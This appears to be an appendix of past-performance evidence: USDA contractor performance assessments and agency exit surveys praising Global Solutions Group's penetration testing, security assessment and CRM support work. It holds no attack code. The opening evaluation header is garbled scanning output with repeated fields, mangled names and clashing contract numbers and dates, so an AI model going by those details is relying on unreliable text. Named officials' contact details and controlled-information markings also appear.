CONTRACTOR PERFORMANCE ASSESSMENT REPORT (CPAR) Nonsystems Nonsystems Nonsystems Contract (ColDAL SOLUTIONS GROUP, INC. DMsic State/Province: MI ZIP Code: 483312695 Country: USA State/Province: MI ZIP Code: 483312695 Country: USA Country: USA Country: USA Country: USA Contract Network Code: 483312695 Country: USA Country: USA Country: USA Contract Number: 07333325 Period Of Performance Being Assessed: 0915/2018 - 10/31/2018 Contract Number: 03/3142/1004 AG3144/17/2058 Contract Number: 03/312/018 Contracting Office: USA, OPPM-POD-ACQ-MGMT-BRANCH-FTC Contracting Office: KASEY KOCH Phone Number: 070-295-5291 Contract Number: 03/312/018 Contracting Office: USA, OPPM-POD-ACQ-MGMT-BRANCH-FTC Contracting Office: KASEY KOCH Phone Number: 070-295-5291 Contracting Office: USA, OPPM-POD-ACQ-MGMT-BRANCH-FTC Contracting Office: KASEY KOCH Phone Number: 070-295-5291 Contract Totract Ongetein Contra	FOR OFFICIAL USE ONLY / SOURCE	SELECTION INFORMATION	- SEE FAR 2.101, 3.104, AND 42.1503
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FOR OFFICIAL USE ONLY / SOURCE SELECTION INFORMATION - SEE FAR 2.101, 3.104, AND 42.1503 Variance (Contract to Date):

Current Cost Variance (%): Variance at Completion (%): Current Schedule Variance (%):

Assessing Official Comments:

OUALITY: Quality Control was exceptional. Reports were carefully reviewed in full and were flawless in presentation and content. No issues or concerns were ever brought up throughout the performance of this contract which involved working with 21 separate agencies. These facts allowed for less oversight which allowed Government assets to be utilized elsewhere which is a cost savings and a benefit to the Government.

SCHEDULE: The start of this requirement was delayed two months due to a protest of the award. Also, there was a government shut-down that impacted the project schedule. Despite these unavoidable delays GSG completed the work in ten months instead of the allotted 12 months. These facts allowed for less oversight which allowed Government assets to be utilized elsewhere which is a cost savings and a benefit to the Government.

COST CONTROL: GSG cut the travel budget by 50% from what was allotted. That is significant, given the number of agencies tested. GSG was very conscious in controlling costs and were very cost effective and conservative with travel costs so that USDA could utilize the savings elsewhere. These actions allowed for cost savings which is a benefit to the Government.

MANAGEMENT: The GSG Management team closely adhered to USDA's Project Management protocols and made the workflow smooth for USDA. GSG provided all coordination, document updates and even updated organizational changes to documents which was not called out in the requirements. GSG was a highly independent team, who required very minimal guidance from USDA and provided outstanding output. These facts allowed for less oversight which allowed Government assets to be utilized elsewhere which is a cost savings and a benefit to the Government.

REGULATORY COMPLIANCE: GSG team tracked new updates closely and any changes to the rules and regulations for Penetration Testing, Operational Assessment Vulnerability and web application processes. For this contract, GSG used top of the line scanning tools, and strict adherence to federal compliance for all work performed. The GSG Team invested a great deal of training and purchasing the newest and finest tools and licenses available to exceed regulatory compliance requirements. These investments were over and above what was required to perform the work and resulted in a better product which was a benefit to the Government.

OTHER AREAS: The GSG team was always ready to provide advice and expert knowledge for other Cybersecurity related issues outside the scope of this contract. Throughout the duration of this contract, other USDA Agencies reached out to the GSG for their insight and GSG was always ready to assist.

RECOMMENDATION:

Given what I know today about the contractor's ability to perform in accordance with this contract or order's most significant requirements, I would recommend them for similar requirements in the future.

Name and Title of Assessing Official:

Name: JAMES EDINGTON Title: Contract Officer Organization: USDA Phone Number: 1-970-295-5848 Email Address: james.edington@ftc.usda.gov Date: 02/07/2019

Contractor Comments:

This evaluation has been modified, please see the original evaluation to view the contractor comments.

Name and Title of Contractor Representative:

Name: Title: Phone Number: Email Address: Date:

Review by Reviewing Official:

I have reviewed all information regarding this CPARS and agree with the modified ratings provided by the Assessing Official. This office strictly follows the CPARS definitions.

Name and Title of Reviewing Official:

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10.3.6 2019 Operational Security Assessment, Penetration Testing, and Web Security Assessment

Synopsis: Quality is Very Good

/15/22, 5:17 PM			CPARS	
	Print C	lose View Orig	inal Evaluation	
FOR OFFICIAL USE ONLY / SOURCE	SELECTION INFORMATI	ION - SEE FAR 2.101, 3	104, AND 42.1503	
	CONTRACTOR PE	RFORMANCE ASSESS	MENT REPORT (CPAR)	
	MODIFIED EVALUATION			Nonsystems
Name/Address of Contractor:				
Vendor Name: GLOBAL SOLUTIC)NS GROUP, INC.			
Division Name:				
Street: 25900 GREENFIELD RD S	FE 220			
City: OAK PARK				
State: MI Zip: 482371267				
Country: USA				
CAGE Code:				
Unique Entity ID (SAM): VH3UE9	S2T6E5			
Product/Service Code: D399 Pri	ncipal NAICS Code: 541	511		
Evaluation Type: Final				
Contract Percent Complete:				
Period of Performance Being A	ssessed: 09/19/2019 - 1	10/22/2019		
Contract Number: AG3144B170	004 12314418F0567 Bu	siness Sector & Sub-	sector: Nonsystems - Tele	communications
Contracting Office: USDA, OCP	-POD-ACQ-MGMT-BRAN	CH-FTC Contracting (officer: SHANNON SCHIER	LING Phone Number: 970-295-5505
Location of Work:				
Date Signed: 09/19/2018 Perio	d of Performance Star	t Date: 09/19/2018		
Est. Ultimate Completion Date	/Last Date to Order: 10)/22/2019 Estimated/	Actual Completion Date:	10/22/2019
Funding Office ID:				
Base and All Options Value: \$2	52,158 Action Obligati	on: \$252,158		
Complexity: Medium Terminat	tion Type: None			
Extent Competed: Full and Ope	en Competition Type of	Contract: Firm Fixed	Price	
Key Subcontractors and Effort	Performed:			
Unique Entity ID (SAM):				
Effort:				
Unique Entity ID (SAM):				
Effort:				
Uninue Entitu ID (CAM)				
Chique Entity ID (SAM):				
Ellort:				
Project Number:				
Project Title:				
Operational Assessments				
Contract Effort Description:				
Perform operational security ass	essments, penetration	testing, and web secu	ity assessments for USDA a	agencies.
Small Business Subcontracting	£			
Does this contract include a sub	contracting plan? No			
Date of last Individual Subcontra	acting Report (ISR) / Sun	nmary Subcontracting	Report (SSR): N/A	
Evaluation Areas	Past Rating	ſ	Rating	
FOR OFFICIAL USE ONLY				
tps://cpars.cpars.gov/cpars/app/appv	iewevaluation_input.action	n?id=2844991&request	ype=P	1/



9/15/22, 5:17 PM		CPARS		
FOR OFFICIAL USE ONLY / SOURCE SEL	ECTION INFORMATION - SEE FAR 2	.101, 3.104, AND 42.1503		
Quality:	Very Good	Very Good		
Schedule:	Very Good	Satisfactory		
Cost Control:	Exceptional	Very Good		
Management:	N/A	N/A		
Small Business Subcontracting:	N/A	N/A		
Regulatory Compliance:	Very Good	Very Good		
Other Areas:				
(1):		N/A		
(2) :		N/A		
(3) :		N/A		

Variance (Contract to Date):

Current Cost Variance (%): Variance at Completion (%): Current Schedule Variance (%):

Assessing Official Comments:

QUALITY: Global Solutions thoroughly evaluated all Operational Security Assessment (OSA) artifacts. Many documents had not been updated in numerous years by some of the agencies. Data Collection interviews conducted by the vendor were exceptionally detailed to ensure customers' answered important policy and procedure requirements. Furthermore, the vendor provided ad-hoc services to OCIO and NFC during their critical needs.

SCHEDULE: All service coverage was delivered on time.

COST CONTROL: Global Solutions planned in such a manner so as to perform work remotely and saved the government \$4,000.00 in travel funds. In addition, the vendor provided 7 Web Application Penetration Tests with no additional cost to the government (5 for NRCS, and 2 for RMA). This resulted in CONSIDERABLE savings to the government.

REGULATORY COMPLIANCE: Global Solutions continually monitored NIST updates to ensure that all regulatory requirements were met and included per NIST Rev-5.

RECOMMENDATION:

Given what I know today about the contractor's ability to perform in accordance with this contract or order's most significant requirements, I would recommend them for similar requirements in the future.

Name and Title of Assessing Official:

Name: SHANNON SCHIERLING Title: Contracting Officer Organization: Acquisition Management Branch - FTC Phone Number: 970-295-5505 Email Address: shannon.schierling@usda.gov Date: 12/30/2019

Contractor Comments:

This evaluation has been modified, please see the original evaluation to view the contractor comments.

Name and Title of Contractor Representative:

Name: Title: Phone Number: Email Address: EOR OFFICIAL USE ONLY

https://cpars.cpars.gov/cpars/app/appviewevaluation_input.action?id=2844991&requestType=P



9/15/22, 5:17 PM

CPARS

FOR OFFICIAL USE ONLY / SOURCE SELECTION INFORMATION - SEE FAR 2.101, 3.104, AND 42.1503 Date:

Review by Reviewing Official:

This office rates CPARs in accordance with criterion in CPAR guidance.

Name and Title of Reviewing Official:

Name: Jason Kuhl Title: Branch Chief Organization: Procurement Operations Division Phone Number: Email Address: Date: 02/11/2020

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 $https://cpars.cpars.gov/cpars/app/appviewevaluation_input.action?id=2844991\&requestType=P$



10.3.7 2019 Penetration Testing

Synopsis: Quality Exceptional

15/22, 5:18 PM			CPARS	
	Print	Close View	w Original Evaluation	
FOR OFFICIAL USE ONLY / SOURCE	SELECTION INFORMA	TION - SEE FAR 2.	101, 3.104, AND 42.1503	
	CONTRACTOR F	PERFORMANCE A	SSESSMENT REPORT (C	CPAR)
N	10DIFIED EVALUATIO	N		Nonsystems
Name/Address of Contractor:				
Vendor Name: GLOBAL SOLUTIO	NS GROUP, INC.			
Division Name:				
Street: 29468 CHELSEA CROSSIN	G			
City: FARMINGTON HILLS				
State: MI Zip: 483312809				
Country: USA				
CAGE Code:				
Unique Entity ID (SAM): VH3UE95	32T6E5			
Product/Service Code: D399 Prir	ncipal NAICS Code: 54	41511		
Evaluation Type: Interim				
Contract Percent Complete:				
Period of Performance Being As	sessed: 09/14/2018	- 09/13/2019		
Contract Number: AG3144B1700	004 12314418F0604 B	3usiness Sector &	Sub-Sector: Nonsystem	ms - Telecommunications
Contracting Office: USDA, OCP-	POD-ACQ-MGMT-BRA	NCH-FTC Contra	cting Officer: SHANNON	N SCHIERLING Phone Number: 970-295-5505
Location of Work:				
Date Signed: 09/18/2018 Period	d of Performance Sta	art Date: 09/14/2	018	
Est. Ultimate Completion Date/	Last Date to Order:	09/29/2019 Estin	nated/Actual Completio	on Date: 10/22/2019
Funding Office ID:				
Base and All Options Value: \$92	24,160 Action Obliga	ition: \$924,160		
Complexity: Low Termination	Type: None			
Extent Competed: Full and Oper	n Competition Type	of Contract: Firm	n Fixed Price	
Key Subcontractors and Effort F	Performed:			
Unique Entity ID (SAM):				
Effort:				
Unique Entity ID (SAM):				
Effort:				
Unique Entity ID (SAM):				
Effort:				
Project Number:				
Project Title:				
Penetration Testing				
Contract Effort Description:				
Penetration Testing				
Small Business Subcontracting	:			
Does this contract include a subc	ontracting plan? No			
Date of last Individual Subcontra	cting Report (ISR) / Sເ	ummary Subconti	racting Report (SSR): N/A	4
Evaluation Areas	Past Ratir	ng	Rating	
FOR OFFICIAL USE ONLY				



9/15/22, 5:18 PM		CPARS
FOR OFFICIAL USE ONLY / SOURCE SELF	ECTION INFORMATION - SEE F	AR 2.101, 3.104, AND 42.1503
Quality:	N/A	Exceptional
Schedule:	N/A	Very Good
Cost Control:	N/A	Satisfactory
Management:	N/A	N/A
Small Business Subcontracting:	N/A	N/A
Regulatory Compliance:	N/A	Very Good
Other Areas:		
(1):		N/A
(2):		N/A
(3) :		N/A

Variance (Contract to Date):

Current Cost Variance (%): Variance at Completion (%): Current Schedule Variance (%):

Assessing Official Comments:

QUALITY: Despite current reorganization of USDA agency/personnel, Global Solutions navigated through the changing environment to gather detailed requirements and provide high-quality penetration testing reports. The vendor also provided 24 hours - 7 days per week support to all agencies during their scan. Several feedback reports were sent from end customers to support this information.

COR Harry Leyden concurs with this rating.

SCHEDULE: Global Solutions provided all requirements on time despite the USDA reorganization. Vendor was active and continuously reaching out to the various agencies ahead of time - reminding them of upcoming schedule of activities and requesting required information ahead of time, enabling every scan to be on time. The contract was extended only due to furlough, which was beyond vendor control.

COR Harry Leyden concurs with this evaluation.

COST CONTROL: Firm fixed price contract.

REGULATORY COMPLIANCE: Global Solutions routinely utilized well recognized, state of the art industry tools to ensure the most current regulatory changes. The vendor understands the critical nature of IT work and spare no expense or time in ensuring compliance.

COR Harry Leyden concurs with this rating.

OTHER AREAS: Global Solutions was available to assist - or answer any questions or concerns any of the Government Customers had. The vendor was available by phone and email 24/7, both during the interval of customers' Penetration Test and beyond.

COR Harry Leyden concurs with this evaluation.

RECOMMENDATION:

Given what I know today about the contractor's ability to perform in accordance with this contract or order's most significant requirements, I would recommend them for similar requirements in the future.

Name and Title of Assessing Official:

Name: SHANNON SCHIERLING

Title: Contracting Officer

Organization: Acquisition Management Branch - FTC

Phone Number: 970-295-5505 Email Address: shannon.schierling@usda.gov

Date: 11/06/2019

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9/15/22, 5:18 PM

CPARS

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Contractor Comments:

This evaluation has been modified, please see the original evaluation to view the contractor comments.

Name and Title of Contractor Representative:

Name: Title: Phone Number: Email Address: Date:

Review by Reviewing Official:

Concur with modified ratings

Name and Title of Reviewing Official:

Name: Jason Kuhl Title: Branch Chief Organization: Procurement Operations Division Phone Number: Email Address: Date: 11/13/2019

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https://cpars.cpars.gov/cpars/app/appviewevaluation_input.action?id=2818235&requestType=P



10.3.8 2023 People Soft Customer Relationship Support Services for the FS Human Resources Management Albuquerque Service Center

Synopsis: Very Good in All Areas

Print Close	
FOR OFFICIAL USE ONLY / SOURCE SELECTION INFORMATION - SEE FAR 2.101, 3.104, AND 42.1503	
CONTRACTOR PERFORMANCE ASSESSMENT REPORT (CPAR)	
INCOMPLETE-RATED Nonsystems	
Name/Address of Contractor:	
Vendor Name: GLOBAL SOLUTIONS GROUP, INC.	
Division Name:	
City: OAK PARK	
State: MI Zip: 482371267	
Country: USA	
CAGE Code:	
Unique Entity ID (SAM): VH3UE9S2T6E5	
Product/Service Code: R499 Principal NAICS Code: 541519	
Evaluation Type: Interim	
Contract Percent Complete: 25	
Period of Performance Being Assessed: 05/01/2022 - 04/30/2023	
Contract Number: 12760422C0004 Business Sector & Sub-Sector: Nonsystems - Prof/Tech/Mng Support	
Contracting Office: USDA FS WO AQM IT SUPPORT BRANCH Contracting Officer: MELISSA PAQUIN-LEON Phone Number: 505.563.7241 Location of Work:	
Date Signed: 04/29/2022 Period of Performance Start Date: 05/01/2022	
Est. Ultimate Completion Date/Last Date to Order: 04/30/2026 Estimated/Actual Completion Date:	
Funding Office ID: 127604	
Base and All Options Value : \$2,031,574 Action Obligation: \$995,675	
Complexity: Medium Termination Type: None	
Extent Competed: Not Competed Type of Contract: Firm Fixed Price	
Key Subcontractors and Effort Performed:	
Unique Entity ID (SAM):	
enore:	
Unique Entity ID (SAM):	
Effort:	
Unique Entity ID (SAM):	
Effort:	
Project Number:	
Project Title:	
PeopleSoft Customer Relationship Management (CRM) Support Services for the FS Human Resources Management (HRM) Albumurrun Service Conter	
Contract Effort Description:	
Global Solutions Group LLC provides continues support for the Human Resources	
Management (HRM) Contact Center Branch, Center Knowledge Management (KMD)	
Division at Albuquerque Service Center-Human Resources Management and provides	
capabilities of the Customer Relationship Management (CRM) system utilized by	
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Small Business Subcontracting:

Does this contract include a subcontracting plan? No

Date of last Individual Subcontracting Report (ISR) / Summary Subcontracting Report (SSR): N/A

Evaluation Areas	Past Rating	Rating
Quality:	N/A	Very Good
Schedule:	N/A	Very Good
Cost Control:	N/A	Very Good
Management:	N/A	Very Good
Small Business Subcontracting:	N/A	N/A
Regulatory Compliance:	N/A	Very Good
Other Areas:		1
(1):		N/A
(2):		N/A
(3):		N/A

Variance (Contract to Date):

Current Cost Variance (%): Variance at Completion (%): Current Schedule Variance (%):

Assessing Official Comments:

QUALITY: Global Solutions provided exceptional quality services to the Human Resources Management Contact Center Branch, Knowledge Management Division Contact Center's Information Technology Solution. The Contractor's expertise and high experience provided proactive high customization and enhancements to various software applications and databases, including PeopleSoft products, developed reports and queries performing various application/database administration support activities. The Customer Relationship Management (CRM) System technical support goals were achieved to ensure integration and functionality within the system is maintained.

SCHEDULE: Contractor is very proactive and successfully performed the requirements identified in the contract in a timely matter and all milestones were accomplished

COST CONTROL: Firm Fixed Price contract.

MANAGEMENT: The Contractor met the contractual requirements and provided an exceptional performance during the reporting period. During this Period of Performance, the Contractor consistently provided migration support, configuration of archived cases, migration activities, completed technical documentation, provided technical specifications with each case, captured and reported Customer Resources Management (CRM) processing improvements using the results from the data achieve projects; completed priority report fixes, worked on PeopleSoft bug fixes and code updates as needed to streamline workflows, completed changes for archiving processes based on date ranges and the provider groups. All activities were accomplished based on the structured Project Management Office approach and methodologies.

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FOR OFFICIAL USE ONLY / SOURCE SELECTION INFORMATION - SEE FAR 2.101, 3.104, AND 42.1503 REGULATORY COMPLIANCE: The Contractor consistently provided migration support, attempted solution and consideration for the customization of archived cases, modified several reports and related migration task, completed required technical documentations, provided technical specification documentation with each case, captured and reported Customer Relationship Management (Budget and Finance, Knowledge Management Division, and Anti-Harassment) processing improvements and the results from the data achieve projects, completed priority report fixes, worked on PeopleSoft bug fixes and PeopleSoft code to remove hard coded values and completed changes for archiving process to archive cases based on date ranges and the provider groups. Global Solutions Group support services accomplished all deliverables and goals and consistently delivered each Monthly Status Reports (MSR) in a timely manner each month to the assigned Chief Information Officer CIO) Contracting Officer Representative (COR) for the Human Resources Information System's Brach Chief.

OTHER AREAS: Given what I know today about the contractor's ability to perform in accordance with this contract or order's most significant requirements. I would highly recommend Global Solutions Group, LLC for similar requirements in the future.

RECOMMENDATION:

Given what I know today about the contractor's ability to perform in accordance with this contract or order's most significant requirements, I would recommend them for similar requirements in the future.

Name and Title of Assessing Official:

Name: Melissa Paquin-Leon Title: Contracting Officer

Organization: USDA/Forest Service

Phone Number: Email Address: melissa.paquin-leon@usda.gov Date: 05/24/2023

Contractor Comments:

QUALITY: Global Solutions Group is pleased to have provided excellent integration and functionality for USDA Forest Service's CRM System.

SCHEDULE: Global Solutions Group appreciates the collaborative atmosphere which facilitated meeting all scheduled milestones.

MANAGEMENT: Global Solutions Group strives to proactively address customer needs in a changing environment. Our team built a strong working relationship with the Forest Service personnel, and that provided for smooth execution of project tasks throughout the engagement.

REGULATORY COMPLIANCE: Global Solutions Group is dedicated to providing services and support that are fully compliant with all regulatory frameworks.

ADDITIONAL/OTHER: Global Solutions Group, Inc. appreciates the opportunity to continue our relationship with the USDA, Forest Service. Our proactive approach builds upon our working relationship to create collaborative solutions to customer requirements.

CONCURRENCE: I concur with this evaluation.

Name and Title of Contractor Representative:

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FOR OFFICIAL USE ONLY / SOURCE SELECTION INFORMATION - SEE FAR 2.101, 3.104, AND 42.1503 Name: Bijal Mehta Title: President Phone Number: 12487671187 Email Address: bijalm@globalsolgroup.com Date:

Review by Reviewing Official:

Name and Title of Reviewing Official: Name: Title: Organization: Phone Number: Email Address: Date:

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10.4 Exit Surveys

10.4.1 Food and Nutrition Service, Information Security Center, Security Assessment Team, Penetration Testing

Synopsis: Very Satisfied (Maximum rating) in all categories





- 2. How satisfied were you with the Information (including documentation) provided by the Assessment Team during the Testing Process?
 - 1) Unsatisfied
 - 2) Somewhat Unsatisfied
 - 3) Neither Unsatisfied or Satisfied
 - Somewhat Satisfied
 - Very Satisfied
- 3. How satisfied were you with the way the Assessment Team addressed your questions and concerns during the Testing Process?
 - 1) Unsatisfied
 - 2) Somewhat Unsatisfied
 - 3) Neither Unsatisfied or Satisfied
 - 4) Somewhat Satisfied
 - Very Satisfied
- 4. How satisfied were you with the overall responsiveness of the Assessment Team during the Testing Process?
 - 1) Unsatisfied
 - 2) Somewhat Unsatisfied
 - 3) Neither Unsatisfied or Satisfied
 - Somewhat Satisfied
 - Very Satisfied

Conducting of the Post-Assessment Briefing

- 1. How satisfied were you with the detailed review of the Penetration Test Report and Findings conducted by the Assessment Team?
 - 1) Unsatisfied
 - 2) Somewhat Unsatisfied
 - 3) Neither Unsatisfied or Satisfied
 - 4) Somewhat Satisfied
 - 5) Very Satisfied
- How satisfied were you with the content, accuracy, quality, and timeliness of the delivery of the Technical Reports?
 - 1) Unsatisfied
 - 2) Somewhat Unsatisfied
 - 3) Neither Unsatisfied or Satisfied
 - 4) Somewhat Satisfied
 - 5) Very Satisfied

US Department of Ag	riculture Infor F	mation Security Center (ISC) SS Exit Survey Questionnaire
USDA	CONTROLLED UNCLASSIFIED INFORMATION DISSEMINATION LIMITED TO GLOBAL SOLUTIONS GROUP AND TH	E USDA Page 2



- 3. How satisfied were you with how the Assessment Team addressed your questions, concerns, and issues during the Findings Briefing?
 - 1) Unsatisfied
 - 2) Somewhat Unsatisfied
 - 3) Neither Unsatisfied or Satisfied
 - 4) Somewhat Satisfied
 - Very Satisfied
- 4. How satisfied were you with the adherence of the Assessment Team to the requested timeliness/effectiveness of the start and end dates, report documents, and briefing results?
 - 1) Unsatisfied
 - 2) Somewhat Unsatisfied
 - 3) Neither Unsatisfied or Satisfied
 - Somewhat Satisfied
 - Very Satisfied
- Please provide your level of satisfaction taking into account the overall Penetration Testing experience from Kick-off to Briefing.
 - 1) Unsatisfied
 - 2) Somewhat Unsatisfied
 - 3) Neither Unsatisfied or Satisfied
 - 4) Somewhat Satisfied
 - Very Satisfied

Please let us know how we can improve the Assessment Team's quality of support to your agency.

Do you have any additional comments that you would like to share?

One small request for consideration. During out-briefs when there exists attendance by upper management, recommend the technical discussion around the findings be briefed by impact at a higher level since doing so may create a better sense of urgency for system owners to mitigate. Example: For the datacenter test; we discovered that the 5 high findings listed are known to be easily exploited due to some configuration gaps. If we get too technical during the discussion; the leadership may not understand. All in all: great job and thanks Ottesthonnaire Respondent Signature:

Printed Nat	me: Joseph Binns		
Title:	Director Information Security Office, FNCS		
Date:	12.12.2018		
US Departme	at of Agriculture	Information Security Center (ISC) FNS Exit Survey Questionnaire	
USDA	CONTROLLED UNCLASSIFIED INFORMATION DISSEMINATION LIMITED TO GLOBAL SOLUTIONS GROUP AN	D THE USDA Page 3	

10.4.2 APHIS - Information Security Center – Security Assessment Team, Penetration Testing – Exit Survey Questionnaire for Animal and Plant Health Inspection Service

Synopsis: Very Satisfied (Maximum rating) in all categories

Information	Security Center - Security Assessment Team (ISAT)
Pene	tration Testing – Exit Survey Questionnaire
Animal a	nd Plant Health Inspection Service (APHIS)
Now that your Penetr questions regarding the Unsatisfied" and <u>"5" n</u>	ation Testing is complete, please take a moment to answer a few he satisfaction of your experience with "1" meaning you were heaning you were "Very Satisfied". Thank you!
Cick-off Meeting	
 How satisfied we during the Kick- 	ere you with the knowledge and professionalism of the Assessment Tean off Meeting?
□ 1. Unsatisfied	
2. Somewhat	Unsatisfied satisfied or Satisfied
□ 4. Somewhat 1	Satisfied
5. Very Satisfield	ied
2. How satisfied we Assessment Tear	ere you with the Information (including documentation) provided by the n during the Kick-off Meeting?
□ 1. Unsatisfie	d
2. Somewhat 3. Naither U	Unsatisfied pratiefied or Satisfied
□ 4. Somewhat	Satisfied
5. Very Satis	fied
 How satisfied we concerns prior to 	ere you with the way the Assessment Team addressed your questions and the testing?
□ 1. Unsatisfie	d
2. Somewhat 3. Naither Use	Unsatisfied reatisfied or Satisfied
□ 4. Somewhat	Satisfied
5. Very Satis	fied
US Department of Agriculture	Information Security Center (ISC)



Performance during the Testing Process

- How satisfied were you with the knowledge and professionalism of the Assessment Team during the Testing Process?
 - 1. Unsatisfied
 - 2. Somewhat Unsatisfied
 - 3. Neither Unsatisfied or Satisfied
 - 4. Somewhat Satisfied
 - 5. Very Satisfied
- 2. How satisfied were you with the Information (including documentation) provided by the Assessment Team during the Testing Process?
 - 1. Unsatisfied
 - 2. Somewhat Unsatisfied
 - 3. Neither Unsatisfied or Satisfied
 - 4. Somewhat Satisfied
 - 5. Very Satisfied
- 3. How satisfied were you with the way the Assessment Team addressed your questions and concerns during the Testing Process?
 - 1. Unsatisfied
 - 2. Somewhat Unsatisfied
 - 3. Neither Unsatisfied or Satisfied
 - 4. Somewhat Satisfied
 - 5. Very Satisfied
- 4. How satisfied were you with the overall responsiveness of the Assessment Team during the Testing Process?
 - 1. Unsatisfied
 - 2. Somewhat Unsatisfied
 - 3. Neither Unsatisfied or Satisfied
 - 4. Somewhat Satisfied
 - 5. Very Satisfied

US Department of Agr	iculture	Information Security Center (APHIS Exit Survey Question	(ISC) naire
USDA	CONTROLLED UNCLASSIFIED INFORMATION DISSEMINATION LIMITED TO GLOBAL SOLUTIONS GROUP AND	D THE USDA P	age 2



Conducting of the Executive Post-Assessment Out-brief

- How satisfied were you with the detailed review of the Findings in the Penetration Test Report(s) to include all that were applicable (Internal, Data Center, External, and/or Web Application?
 - 1. Unsatisfied
 - 2. Somewhat Unsatisfied
 - 3. Neither Unsatisfied or Satisfied
 - 4. Somewhat Satisfied
 - 5. Very Satisfied
- 2. How satisfied were you with the content, accuracy, quality, and timeliness of the delivery of the Technical Reports?
 - 1. Unsatisfied
 - 2. Somewhat Unsatisfied
 - 3. Neither Unsatisfied or Satisfied
 - 4. Somewhat Satisfied
 - 5. Very Satisfied
- 3. How satisfied were you with how the Assessment Team addressed your questions, concerns, and issues during the Findings Briefing?
 - 1. Unsatisfied
 - 2. Somewhat Unsatisfied
 - 3. Neither Unsatisfied or Satisfied
 - 4. Somewhat Satisfied
 - 5. Very Satisfied
- 4. How satisfied were you with the adherence of the Assessment Team to the requested timeliness/effectiveness of the start and end dates, report documents, and briefing results?
 - 1. Unsatisfied
 - 2. Somewhat Unsatisfied
 - 3. Neither Unsatisfied or Satisfied
 - □ 4. Somewhat Satisfied
 - 5. Very Satisfied

US Department	t of Agriculture Information APHIS Exit	Security Center (ISC) Survey Questionnaire
USDA	CONTROLLED UNCLASSIFIED INFORMATION DISSEMINATION LIMITED TO GLOBAL SOLUTIONS GROUP AND THE USDA	Page 3



- 5. Please provide your level of satisfaction taking into account the overall Penetration Testing experience from Kick-off to Briefing.
 - □ 1. Unsatisfied
 - 2. Somewhat Unsatisfied
 - □ 3. Neither Unsatisfied or Satisfied
 - 4. Somewhat Satisfied
 - 5. Very Satisfied

Please let us know how we can improve the Assessment Team's quality of support to your agency.

Do you have any additional comments that you would like to share?

As always, Haywood and the team are extremely easy to work with. They answered all of my questions, and kept me informed of their activities and results every step of the

Questionnaire Respondent Signature:

	WILLIAM FLINN FLINN Date: 2019.04.08 0	6:55:17 -06'00	יי
itle:	IT Specialist (Security)		
	L		
US Dep	artment of Agriculture	Information Security APHIS Exit Survey	[,] Center (ISC) Questionnaire



10.4.3 AMS - Information Security Center – Security Assessment Team, Penetration Testing – Exit Survey Questionnaire for Agriculture Marketing Services

Synopsis: Very Satisfied (Maximum rating) in all categories

Penetration Testing – Exit Survey Questionnaire Agricultural Marketing Services (AMS) Now that your Penetration Testing is complete, please take a moment to answer a fe uestions regarding the satisfaction of your experience with "1" meaning you we Unsatisfied" and <u>"5" meaning you were "Very Satisfied"</u> . Thank you! Cick-off Meeting 1. How satisfied were you with the knowledge and professionalism of the Assessment Te during the Kick-off Meeting? 1. Unsatisfied 2. Somewhat Unsatisfied 3. Neither Unsatisfied 4. Somewhat Satisfied 5. Very Satisfied 2. How satisfied were you with the Information (including documentation) provided by the Assessment Team during the Kick-off Meeting?	few ere
Agricultural Marketing Services (AMS) Now that your Penetration Testing is complete, please take a moment to answer a fer uestions regarding the satisfaction of your experience with "1" meaning you we Unsatisfied" and "5" meaning you were "Very Satisfied". Thank you! Cick-off Meeting 1. How satisfied were you with the knowledge and professionalism of the Assessment Ter during the Kick-off Meeting? 1. Unsatisfied 2. Somewhat Unsatisfied 3. Neither Unsatisfied 4. Somewhat Satisfied 5. Very Satisfied 2. How satisfied were you with the Information (including documentation) provided by the Assessment Team during the Kick-off Meeting?	few rere
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	the
□ 1. Unsatisfied	
 2. Somewhat Unsatisfied 2. Neither Unsatisfied or Satisfied 	
□ 4. Somewhat Satisfied	
5. Very Satisfied	
3. How satisfied were you with the way the Assessment Team addressed your questions a concerns prior to the testing?	and
□ 1. Unsatisfied	
 2. Somewhat Unsatisfied 3. Neither Unsatisfied or Satisfied 	
□ 4. Somewhat Satisfied	
5. Very Satisfied	
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Performance during the Testing Process

- How satisfied were you with the knowledge and professionalism of the Assessment Team during the Testing Process?
 - □ 1. Unsatisfied
 - 2. Somewhat Unsatisfied
 - 3. Neither Unsatisfied or Satisfied
 - 4. Somewhat Satisfied
 - 5. Very Satisfied
- 2. How satisfied were you with the Information (including documentation) provided by the Assessment Team during the Testing Process?
 - 1. Unsatisfied
 - 2. Somewhat Unsatisfied
 - 3. Neither Unsatisfied or Satisfied
 - 4. Somewhat Satisfied
 - 5. Very Satisfied
- 3. How satisfied were you with the way the Assessment Team addressed your questions and concerns during the Testing Process?
 - 1. Unsatisfied
 - 2. Somewhat Unsatisfied
 - 3. Neither Unsatisfied or Satisfied
 - 4. Somewhat Satisfied
 - 5. Very Satisfied
- 4. How satisfied were you with the overall responsiveness of the Assessment Team during the Testing Process?
 - 1. Unsatisfied
 - 2. Somewhat Unsatisfied
 - 3. Neither Unsatisfied or Satisfied
 - 4. Somewhat Satisfied
 - 5. Very Satisfied

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Conducting of the Executive Post-Assessment Out-brief

- How satisfied were you with the detailed review of the Findings in the Penetration Test Report(s) to include all that were applicable (Internal, Data Center, External, and/or Web Application?
 - 1. Unsatisfied
 - 2. Somewhat Unsatisfied
 - 3. Neither Unsatisfied or Satisfied
 - 4. Somewhat Satisfied
 - 5. Very Satisfied
- 2. How satisfied were you with the content, accuracy, quality, and timeliness of the delivery of the Technical Reports?
 - 1. Unsatisfied
 - 2. Somewhat Unsatisfied
 - 3. Neither Unsatisfied or Satisfied
 - 4. Somewhat Satisfied
 - 5. Very Satisfied
- 3. How satisfied were you with how the Assessment Team addressed your questions, concerns, and issues during the Findings Briefing?
 - 1. Unsatisfied
 - 2. Somewhat Unsatisfied
 - 3. Neither Unsatisfied or Satisfied
 - 4. Somewhat Satisfied
 - 5. Very Satisfied
- 4. How satisfied were you with the adherence of the Assessment Team to the requested timeliness/effectiveness of the start and end dates, report documents, and briefing results?
 - 1. Unsatisfied
 - 2. Somewhat Unsatisfied
 - 3. Neither Unsatisfied or Satisfied
 - 4. Somewhat Satisfied
 - 5. Very Satisfied

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- 5. Please provide your level of satisfaction taking into account the overall Penetration Testing experience from Kick-off to Briefing.
 - □ 1. Unsatisfied
 - 2. Somewhat Unsatisfied
 - □ 3. Neither Unsatisfied or Satisfied
 - 4. Somewhat Satisfied
 - 5. Very Satisfied

Please let us know how we can improve the Assessment Team's quality of support to your agency.

None

Do you have any additional comments that you would like to share?

